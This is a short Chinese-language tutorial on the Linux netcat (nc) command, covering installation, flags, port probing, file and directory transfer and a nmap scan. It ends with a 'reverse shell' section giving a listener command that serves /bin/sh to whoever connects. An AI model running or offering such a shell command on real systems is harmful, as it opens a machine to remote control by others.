linux nc命令
简介:
nc是netcat的简称,有着网络界瑞士军刀的美称,被称为简单可靠的操作系统的网络工具。
[root@m01 ~]$yum provides nc
已加载插件:fastestmirror
Loading mirror speeds from cached hostfile
* base: mirrors.aliyun.com
* extras: mirrors.aliyun.com
* updates: mirrors.aliyun.com
2:nmap-ncat-6.40-19.el7.x86_64 : Nmap's Netcat replacement
源 :base
匹配来源:
提供 :nc
2:nmap-ncat-6.40-16.el7.x86_64 : Nmap's Netcat replacement
源 :@base
匹配来源:
提供 :nc
yum -y install nmap-ncat
功能
- 监听任意TCP/UDP端口的侦听
- 端口的扫描
- 机器之间传输文件
- 机器之间网络测速
控制参数
参数 | 功能 |
---|---|
-l | 启用NC的侦听模式,作为服务端开启侦听端口 |
-p | 指定端口 |
-s | 指定发送数据的源IP地址,适用于多网卡机 |
-u | 指定nc使用的udp协议,默认为tcp |
-v | 输出交互或者出错信息,新手调试时尤为重要 |
-w | 超时秒数,后跟数字 |
-z | zero的首字母,表示扫描时不发送任何数据 |
探测主机端口是否启动
nc -z 10.0.0.61 80;echo $?
传输文件:
tcp:
udp
在线状态
nc -ul 10.0.0.61 42006 #开启服务端侦听的端口
nc -uv 10.0.0.61 42006 #连接NC服务侦听的端口
文件传输
nc -l 1234 >file.txt #nc服务端监听,并将收到的文件输入到file.txt
nc 10.0.0.61 1234 <file.txt #nc客户端连接NC服务端,并导入要传输的文件file.txt
目录传输
nc -l 1234 |tar xzvf - #服务端
tar czvf - Python-3.7.0 |nc 10.0.0.61 1234 #客户端
端口的批量扫描还是nmap好用
nmap 10.0.0.61 1-65534
反向shell
nc -l -p 1234 -e /bin/sh #服务端开启反向shell
nc 10.0.0.61 1234 #客户端连接shell